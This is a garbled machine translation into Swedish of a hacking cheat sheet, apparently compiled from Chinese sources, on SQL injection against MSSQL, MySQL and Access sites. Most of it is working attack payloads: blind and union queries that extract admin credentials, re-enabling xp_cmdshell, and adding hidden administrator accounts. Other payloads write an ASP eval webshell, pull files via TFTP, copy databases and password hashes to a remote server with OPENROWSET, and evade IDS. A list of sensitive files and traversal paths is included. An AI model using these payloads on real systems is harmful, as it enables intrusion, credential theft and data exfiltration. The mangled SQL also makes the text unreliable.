MSSQL tvärdatabasförfrågningar (stinkig mat!) Mörk)
Pressa ut varje droppe MS SQL
SQL-satsreferenser och postuppsättningsobjekt förklaras i detalj
Om lagrade procedurer i SQL Server
Skapa ett webshell med mssql-backup
SQL_Injection avancerade tillämpningar
Cross-site SQL-injektion (laokai)
Konstig SQL-injektion (AMANL)
Avancerad SQL-injektion i SQL Server-applikationer
Hur man använder SQL-injektion för att gå igenom kataloger
Genomgång av SQL-injektionstekniker (Översättare: demonalex)
Vissa attacker mot SQL-databaser
SQL-injektionsattackteknik (JSW)
SQL_Injection Avancerade applikationer (APACHY)
Ovanliga metoder för SQL-injektion (Guilin-veteran)
Säkerhetskopiera ett skal
Snacka om php+mysql-injektionsstrukturen (Heyhehehehe·≯Super· Hei)
Avancerad SQL-injektion med MySQL(angel)
L'injection (My)SQL via PHP
Oracle SQL Language
SQL manuell injektionsencyklopedi
Förkunskapskrav kräver verktyg: SQL Query Analyzer och SqlExec Sunx Version ============================================================================================== 1. Fastställa om det finns en injektionspunkt ; och 1=1 och 1=2 2. Gissar att bordets namn inte är annat än administratör, administratör, användarpass, användarpass, osv.: och 0<>(välj räkning(*) från *) och 0<>(välj antal(*) från admin) — Bestäm om admintabellen finns 3. Gissa antalet konton Om du stöter på 0< återgå till rätt sida 1< returnera felsidan för att ange att antalet konton är 1 och 0<(välj räkning(*) från admin) och 1<(välj antal(*) från administrationen) 4. Gissa fältnamnet Lägg till fältnamnet vi tänker på inom len( ) parentesen. och 1=(välj räkning(*) från admin där len(*)>0)– och 1=(välj antal(*) från admin där len(användarnamn)>0) och 1=(välj räkning(*) från admin där len(_blank>lösenord fältnamn)>0) 5. Gissa längden på varje fält Gissa längden är att transformera >0 tills rätt sida returneras och 1=(välj räkning(*) från admin där len(*)>0) och 1=(välj antal(*) från admin där len(name)>6) fel och 1=(välj antal(*) från admin där len(name)>5) Rätt längd är 6 och 1=(välj antal(*) från admin där len(name)=6) är korrekt och 1=(välj antal(*) från admin där len(password)>11) är korrekt och 1=(välj räkning(*) från admin där len(password)>12) fellängd är 12 och 1=(välj räkning(*) från admin där len(password)=12) är korrekt 6. Gissa karaktärerna och 1=(välj antal(*) från admin där vänster(namn,1)=a) — Gissa första siffran i användarens konto och 1=(välj räkning(*) från admin där left(name,2)=ab)—Gissa den andra siffran i användarens konto Lägg bara till en karaktär i taget för att gissa, gissa tillräckligt många siffror som du just gissade, så kommer kontonumret fram (1) Gissa namnet på bordet
Använda meningar: och finns (välj * från tabellnamn)
Till exempel: och finns (välj * från admin)
Om sidan ekar korrekt betyder det att tabellnamnet vi gissade här är korrekt, och om sidan är fel betyder det att tabellnamnet vi skrev här är fel
, byt sedan bordets namn och fortsätt gissa tills du gissar.
Generellt sett är vanliga tabellnamn admin, manage, user eller put it i verktygskörningen (2) Gissa fältet
Använda meningar: och finns (välj fältnamn från tabellnamn)
Till exempel: och finns (välj användarnamn från administratör)
Här, om vi antar att admintabellen är den tabell jag gissade rätt ovan, vill jag avgöra om användarnamnsfältet finns, jag behöver använda detta påstående, om sidan
Om ansiktsekot är korrekt betyder det att fältnamnet vi gissade här är korrekt, och om sidan är fel betyder det att fältnamnet vi skrev här är fel
, byt sedan fältets namn och fortsätt gissa tills du gissar.
Generellt inkluderar vanliga fältnamn användarnamn, lösenord, användare, pass, namn, pass, pwd, usr, psd och andra fält (3) ordning efter
ordning efter är att få summan av antalet fält på den sidan, förberedande för nästa gemensamma fråga (4) Fackföreningsval
1. Om du stödjer gemensam fråga, hitta displaybiten http://www.xxx.com/product_show.asp?id=1 och 1=2 unionval
1,2,3,4,5,6,7,8,9,10,11 Antag att visningsbitarna är 5,6. Därefter behöver vi bara ersätta fältnamnen som motsvarar administratörens användarnamn och lösenord med visningsbitens position här
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 från admin hittade bakgrundsinloggningen 2. Om gemensam förfrågan inte stöds Administratörens användarnamn och lösenord kan inte erhållas utan gemensam sökning – med Ascii-ordagrann avkodning Två Använd order by för att bedöma antalet bitar i tabellen, och om det inte fungerar, använd union select för att ordna dem en efter en, här antar vi 8 bitar Tre Använd en gemensam fråga för att bestämma visningsbitarna Fyra Använd display-biten för att hitta databasens namn, databasversion, 5.0 eller högre kan injiceras
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Fem Med databasnamnet kan du börja få tabellnamnsschemat = följt av HEX-värdet för databasnamnet och gissa tabellnamnet
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +från+information_schema.kolumner+var+ table_schema=0x666C6965725F6462617365 Sex Det analyserade tabellnamnet bestämmer HEX-värdet för administratörens tabellnamn=tabellnamn och gissar fälten i tabellen http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINKTIVT
+column_name),8+ från+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Sju Efter att ha hämtat fälten i admin-tabellen, låt oss hämta innehållet i fälten http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINKTIVT
+användarnamn, 0x5f,userpwd),8+from+pub_webmaster Åtta Verktyget skannar bakgrunden: Logga in för att ladda upp trojanen efter att du hittat den, och om du inte hittar filen robots.txt kan du komma åt den Nio Om du inte kan hitta bakgrunden kommer lösenordet till MYSQL-administratören att avslöjas http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(användare,lösenord),8+från+mysql.user Tio Slumpmässigt åtkomst till en sökväg, och återkopplingen är standardsidan 404 i IIS6, vilket indikerar att webbplatsservern är: Windows+IIS6+php+MySQL-miljö c:\\windows\\system32\\inetsrv\MetaBase.xml\ Denna sökväg kan hämta webbplatsens konfigurationsinformation. Konstruktionssatser http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Elva Analysera koden och hitta bakgrundsadressen I det första steget behöver vi få längden på fälten i tabellen Påståenden som används: och (välj topp 1 len(fältnamn) från tabellnamn>0 Som vad: och (välj topp 1 len(admin_name) från admin)>0 Sidan visas normalt, längden på fältet admin_name är större än 0, och jag kommer att skicka in:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Sidan visar ett felmeddelande som säger att fältet är mellan 0 och 10, och längden är 5 enligt dikotomin Med samma metod för att bestämma längden på fältet för administratörens lösenord får jag längden 16 Steg 2 Nu går vi vidare till det andra steget, tar ett visst tecken i fältet och hämtar ASCII-koden för tecknet, som används
Uttalande: och (välj topp 1 asc(mid(fältnamn, N,1)) från tabellnamn)>0 Låt mig titta på denna mening separat, först den innersta mid(username, 1,1)-funktionen, som är det första tecknet i admin_name fältet, N
indikerar att de första tecknen ska avlyssnas, Då representerar den yttre asc()-funktionen, som omvandlar tecknen som intercepteras av mid-funktionen till ASCII-kod, den yttersta toppen, returfältet för första platsen
En skiva, då, ">0" i slutet är för att jämföra den konverterade ASCII-koden med detta nummer och slutligen få avlyssningen genom att ständigt ändra det senaste värdet
Få tag på den här karaktärens specifika bild ASCII-kod Inlämning:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Sidan visas normalt, vilket indikerar att ASCII-koden för detta tecken är större än 30. Inlämning:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Sidan visas normalt, vilket indikerar att ASCII-koden för detta tecken är större än 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII-koden jag fick för denna karaktär är 97 Jämför ASCII-tabellen: Det kan dras slutsats att det första tecknet är "a". Sedan kommer jag att bedöma ASCII-koden för den andra karaktären.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Sidan visas normalt, vilket indikerar att ASCII-koden för tecknet är större än 90, och det sista värdet ändras alltid Samma metod gav administratörens lösenord, och resultatet jag fick var:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 och 1=(välj topp 1 räkning(*) från Admin där Asc(mid(pass,5,1))=51) – Denna frågesats kan gissa den kinesiska användaren och _blank> lösenord. Byt bara ut följande nummer mot den kinesiska ASSIC-koden
Konvertera till karaktärer.
Gruppa med users.id som har 1=1–www.myhack58.com Gruppera efter users.id, användare.användarnamn, användarlösenord, användarprivilegier med 1=1– ; infoga i användarens värden (666, attacker, foobar, 0xffff)–
UNION Select TOPP 1 COLUMN_blank>_NAME FRÅN INFORMATION_blank>_SCHEMA. KOLONNER Där
TABLE_blank>_NAME=logintable- UNION Select TOPP 1 COLUMN_blank>_NAME FRÅN INFORMATION_blank>_SCHEMA. KOLONNER Där
TABLE_blank>_NAME=inloggningstabell Där COLUMN_blank>_NAME INTE FINNS I (login_blank>_id)- UNION Select TOPP 1 COLUMN_blank>_NAME FRÅN INFORMATION_blank>_SCHEMA. KOLONNER Där
TABLE_blank>_NAME=inloggningstabell Där COLUMN_blank>_NAME INTE MED
(login_blank>_id,login_blank>_name)- UNION Välj TOPP 1 login_blank>_name FRÅN inloggningstabell- UNION Välj TOPP 1-lösenord FRÅN inloggningstabell där login_blank>_name=Rahul– Titta på patchen som spelades av _blank>-servern = fel SP4-patch svart säkerhetsnät och 1=(välj @@VERSION)–
Titta på behörigheterna för _blank> databasanslutningskonto, och det visar normalt, vilket bevisar att det är sysadmin-behörigheten för _blank> serverroll. och 1=(Välj IS_blank>_SRVROLEMEMBER(sysadmin))–
Fastställ att databaskontot _blank> anslutet. (Använd SA-konto för att ansluta och återvända normalt = bevisa att det anslutna kontot är SA) och sa=(Välj System_blank>_user)– och user_blank>_name()=dbo– och 0<>(välj user_blank>_name()–
Se om xp_blank>_cmdshell raderar och 1=(Välj räkning(*) FRÅN master.dbo.sysobjects Där xtype = X OCH namn = xp_blank>_cmdshell)
–
xp_blank>_cmdshell raderas, återställs och stöder absolut vägåterställning ; Chef master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell, xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== databasbehörighet exponeras för webbplatsens fysiska vägkod
========================================================================== 1、fällningsbord [jm_tmp]; skapa tabell [jm_tmp](värde navrchar(4000) null, data nvarchar(4000)
null) -- Skapa tabell
2、 radera [jm_tmp]; infoga [jm_tmp] exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Infoga platskatalogen i tabellfältet
3、och (välj topp 1 cast([data] som nvarchar(4000) char(124) från [jm_tmp] beställ efter [data]
desc)=0 '//Exponerat fält
4. Släpp tabellen [jm_tmp] – ta bort denna tabell. för att kommandot ska hämta skalet
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Andra stationsvägar ======================load_file() Vanligt använd känslig information =========================================== 1、 ersätt(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、ersätt(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) De två ovanstående är för att visa en PHP-fil som visar koden fullt ut. Det finns tillfällen då vissa tecken inte ersätts, som "<" istället för "space" som återvänder
Webbsida. Och koden kan inte ses.
3. load_file(char(47)) kan lista rotkatalogen för FreeBSD- och Sunos-system
4. Visa Linux APACHE:s virtuella värdkonfigurationsfil i /etc/httpd/conf/httpd.conf eller /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf eller C:\apache\conf\httpd.conf för att visa WINDOWS
System Apache-fil
6. c:/Resin-3.0.14/conf/resin.conf Visa resinfilens konfigurationsinformation för webbplatsen utvecklad av jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf för att visa den virtuella JSP-värden konfigurerad på Linux-systemet
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode-väg
11. C:\Windows\system32\inetsrv MetaBase.xml\ Visa den virtuella värdkonfigurationsfilen för IIS
12. /usr/local/resin-3.0.22/conf/resin.conf för att se RESIN-konfigurationsfilen för 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Samma som ovan
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuell värd
15. /etc/sysconfig/iptables beror på brandväggspolicyn
16. /usr/local/app/php5 b/php.ini PHP-ekvivalenta inställningar
17. /etc/my.cnf MYSQL-konfigurationsfil
18. /etc/redhat-releasesystemversion av Red Hat
19 、C:\mysql\data\mysql\user. MYD finns i användarlösenordet i MYSQL-systemet
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 för att visa IP.
21. /usr/local/app/php5 b/php.ini //PHP-relaterade inställningar
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuella webbplatsinställningar
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue visar distributionsinformationen för Linux-kärnan
26、/etc/ftpuser
27. Kontrollera operationsloggfilen under LINUX user.bash_history eller .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Experimentera med omvänd PING själv ; använd master; deklarera @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ut; Exekutiv
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Lägg till ett konto ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c netuser jiaoniang$ 1866574 /add–
Skapa en virtuell katalog E-disk: ; deklarera @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut exec sp_blank>_oamethod @o, kör,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Åtkomstattribut: (med skrivning till ett webshell) deklarera @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut exec sp_blank>_oamethod @o, kör,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Speciellt _blank> trick för att bursta biblioteket: :%5c=\ eller ändra %5 med / och \ för att commit och 0<>(välj topp 1-vägar från newtable)–
Få databasens namn (från 1 till 5 är systemets ID:n, och du kan bedöma dem över 6) och 1=(välj namn från master.dbo.sysdatabases där dbid=7)– och 0<>(välj antal(*) från master.dbo.sysdatabases där name>1 och dbid=6) Skicka in dbid i tur och ordning = 7,8,9.... Få fler _blank> databasnamn
och 0<>(välj översta 1-namn från bbs.dbo.sysobjects där xtype=U) bryter in i en tabell som antar admin och 0<>(välj översta namn från bbs.dbo.sysobjects där xtype=du och namn inte i (Admin)).
Andra bord. och 0<>(välj räkning(*) från bbs.dbo.sysobjects där xtype=du och name=admin och uid>(str(id))) Det numeriska värdet för UID antas vara 18779569 uid=id och 0<>(välj översta 1-namn från bbs.dbo.syscolumns där id=18779569) får ett adminfält, false
Ställ på user_blank>_id och 0<>(välj översta 1-namn från bbs.dbo.syscolumns där id=18779569 och namn inte finns i (id,...)) för att exponera andra områden och 0< (välj user_blank>_id från BBS.dbo.admin där användarnamn>1) för att få användarnamnet I sin tur kan du få _blank> lösenord。。。。。 Anta att det finns fält som user_blank>_id användarnamn, lösenord, etc
och 0<>(välj antal(*) från master.dbo.sysdatabases där name>1 och dbid=6) och 0<>(välj översta 1-namnet från bbs.dbo.sysobjects där xtype=U) för att få tabellnamnet och 0<>(välj översta 1-namnet från bbs.dbo.sysobjects där xtype=you och namn inte i(Address)) och 0<>(välj räkning(*) från bbs.dbo.sysobjects där xtype=du och name=admin och uid>(str(id)))
Bestem id-värdet och 0<>(välj översta 1-namn från BBS.dbo.syscolumns där id=773577794) alla fält
?id=-1 union välj 1,2,3,4,5,6,7,8,9,10,11,12,13,* från admin ?id=-1 union välj 1,2,3,4,5,6,7,8,*,9,10,11,12,13 från admin (union, access är också lätt att använda)
Få WEB-vägen ; skapa tabell [DBO]. [byta] ([swappass][char](255)); – och (välj topp 1 swappass från swap)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarera @test varchar(20) exec
Mästare.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT infogar i path(path)-värden(@test)– ; använd ku1; – ; skapa tabell-cmd (STR-bild); – Skapa en tabell-cmd med bildtypen 1. Sättet att ta bort xp_cmdshell-förlängningsprocessen är att använda följande uttalande:
om finns (välj * från dbo.sysobjects där id=object_id(N'[dbo].[ xpcmdshell]') och
OBJECTPROPERTY(id,N'IsExtendedProc')=1) exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Sättet att lägga till xp_cmdshell förlängningsprocess är att använda följande uttalande:
(1) SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Fyll först i % i Format-alternativet i SqlExec Sunx Version och ange det i CMD-alternativet
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
ta bort
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Det finns xp_blank>_cmdshell testprocesser: ; Exec Master.. xp_blank>_cmdshell regi ; exec master.dbo.sp_blank>_addlogin jiaoniang$; – Lägg till SQL-konton ; exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; – ; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell nätanvändare jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Exec Master.. xp_blank>_servicecontrol börjar, boka för att starta _blank> service Exec Master.. xp_blank>_servicecontrol börja, server ; DEKLARERA @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c nätanvändare jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c nätlokalgruppsadministratörer jiaoniang$ /add ; Exec Master.. xp_blank>_cmdshell tftp -i youip get file.exe – Ladda upp filer med TFTP
; Deklarera @a sysname-uppsättning @a=xp_blank>_+cmdshell exec @a dir c:\ ; Deklarera @a sysname-set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; förklara @a; set @a=db_blank>_name(); säkerhetskopieringsdatabas @a till disk=din IP Din delade katalog bak.dat Om det är begränsat, ja. välj * från openrowset(_blank>sqloledb,server; sa; , välj OK! Exekutiv
master.dbo.sp_blank>_addlogin hax)
Frågestruktur: Välj * FRÅN nyheter Där id=... OCH ämne=... OCH ..... adminand 1=(välj antal(*) från [användare] där användarnamn=offer och höger(left(userpass,01),1)=1)
och UserPass <> välj 123; – ; använd master; – :a eller namn som fff%; – Visar en användare som heter ffff. och 1<>(välj räkning(e-post) från [användare]); – ; Uppdatera [användare] Sätt e-post=(Välj översta 1-namn från sysobjects där xtype=du och status>0) där
name=ffff; – ; Uppdatera [användare] Sätt e-post=(Välj översta 1-ID från sysobjects där xtype=du och name=ad) där
name=ffff; – ; Uppdatera [användare] Sätt e-post=(Välj översta 1-namn från sysobjects där xtype=du och id>581577110)
där namn=ffff; – ; Uppdatera [användare] Sätt e-post=(Välj översta 1 räkning(ID) från lösenordet) där Name=FFFF; – ; Uppdatera [användare] Ställ e-post=(Välj översta 1 PwD från lösenord där ID=2) där Name=FFFF; – ; Uppdatera [användare] Sätt e-post=(Välj översta 1 namn från lösenord där ID=2) där name=FFFF; – Ovanstående sats är att hämta den första användartabellen i _blank>databasen och lägga tabellnamnet i e-postfältet för ffff-användaren. Genom att titta på användarprofilen för ffff kan du få den första tabellen som heter AD Sedan hämtar du ID:t för denna tabell enligt tabellnamnannonsen för att få namnet på den andra tabellen
infoga i användarens värden( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– infoga i användarens värden(667,123,123,0xffff)– infoga i användarnas värden ( 123, admin–, lösenord, 0xffff)– ; och user>0 ; och (välj antal(*) från sysobjects)>0 ; och (välj antal(*) från mysysobjects)>0 // för access_blank>databasen
Räkna upp namnet på datatabellen ; uppdatera AAA-uppsättningen AAA=(Välj översta 1-namn från sysobjects där xtype=du och status>0); – Här uppdateras det första tabellnamnet till fältet AAA. Läs den första tabellen, och den andra tabellen kan läsas så här (lägg till och namn efter villkoret<> namnet på tabellen du just fick). ; Uppdatera AAA-uppsättningen AAA=(Välj översta 1-namnet från sysobjects där xtype=du och status>0 och
namn<>röst); – Då id=1552 och existerar(välj * från aaa där aaa>5) Läs upp den andra tabellen och läs den en efter en tills det inte finns någon kvar. Läsfältet ser ut så här: ; uppdatera AAA-uppsättningen AAA=(Välj topp 1 col_blank>_name(object_blank>_id(tabellnamn),1)); – Då får id=152 och exists(välj * från aaa där aaa>5) får ett felmeddelande och får fältnamnet ; uppdatera AAA-uppsättningen AAA=(välj topp 1 col_blank>_name(object_blank>_id(tabellnamn),2)); – Då får id=152 och exists(välj * från aaa där aaa>5) får ett felmeddelande och får fältnamnet
[Hämta datatabellens namn] [Uppdatera fältvärdet till tabellnamnet och läs sedan upp värdet för detta fält för att få tabellnamnet] uppdatera tabellnamn: set field=(välj översta 1-namnet från sysobjects där xtype=du och status>0 [ och namn<>
Tabellnamnet du får Hitta en plus en]) [ där villkor] välj översta namn från sysobjects där xtype=du och
status>0 och namn ej i (tabell1,tabell2,...) Att skapa ett databasadministratörskonto och ett systemadministratörskonto _blank> _blank> sårbarhetsinjektion via SQLSERVER [Det aktuella kontot måste vara SYSADMIN-gruppen]
[Få datatabellens fältnamn] [Uppdatera fältvärdet till fältnamnet och läs sedan upp värdet för detta fält för att få fältnamnet] uppdatera tabellnamn set fält=(välj översta 1 col_blank>_name(object_blank>_id (datatabellens namn att fråga), fältkolumn
Till exempel: 1) [ där villkoret ]
Kringgå IDS-detektion [med hjälp av variabler] ; Deklarera @a sysname-uppsättning @a=xp_blank>_+cmdshell exec @a dir c:\ ; Deklarera @a sysname-set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Öppna fjärrdatabasen _blank> Grundläggande syntax välj * från OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, välj * från tabell1 ) Parametrar: (1) OLEDB-leverantörens namn 2. Anslutningssträngsparametern kan vara vilken port som helst att ansluta i, såsom select * från OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,
Välj * från tabellen 3. Kopiera hela _blank> databas för målvärden och infoga alla fjärrtabeller i den lokala tabellen.
Grundläggande syntax: insert in i OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, välj * från tabell1) välj
* från tabell2 Denna radsats kopierar all data från tabell2-tabellen på målvärden till tabell1-tabellen i fjärrdatabasen _blank>. Lämpliga reparationer i praktisk tillämpning
Ändra IP-adressen och porten på anslutningssträngen så att den pekar dit du behöver den, till exempel: insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj
* från tabell1) välj * från tabell2 insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj
* från _blank>_sysdatabases) Välj * från master.dbo.sysdatabases insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj
* från _blank>_sysobjects) Välj * från user_blank>_database.dbo.sysobjects insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj
* från _blank>_syscolumns) Välj * från user_blank>_database.dbo.syscolumns Replikera _blank> databas: insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj
* från tabell1) välj * från databasen.. Tabell1 insert in i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj
* från tabell2) välj * från databasen.. Tabell2
Hashen av lösenordet som kopierar hashtabellens (HASH) inloggning _blank> lösenord lagras i sysxlogins. Så här går det till: insert i OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Nätverk=DBMSSOCN; Adress=192.168.0.1,1433; ,välj * från _blank>_sysxlogins)
Välj * från database.dbo.sysxlogins När du har hashen kan du brute force-det.
För att gå igenom katalogen: Skapa först en tillfällig tabell: temp ; skapa tabelltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; infoga tillfällig exec master.dbo.xp_blank>_availablemedia; – Hämta alla aktuella drivningar ; infoga i temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Hämta en lista över underkataloger ; infoga i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Hämta katalogträdsstrukturen för alla underkataloger,
Slå ihop tummen i temptabellen ; infoga i temp(id) exec master.dbo.xp_blank>_cmdshell skriv c:\web\index.asp; – Visa en fil
Innehåll ; infoga i temp(id) exec master.dbo.xp_blank>_cmdshell dir: C:\; – ; infoga i temp(id) exec master.dbo.xp_blank>_cmdshell dir: c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; infoga i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Tillämplig befogenhet
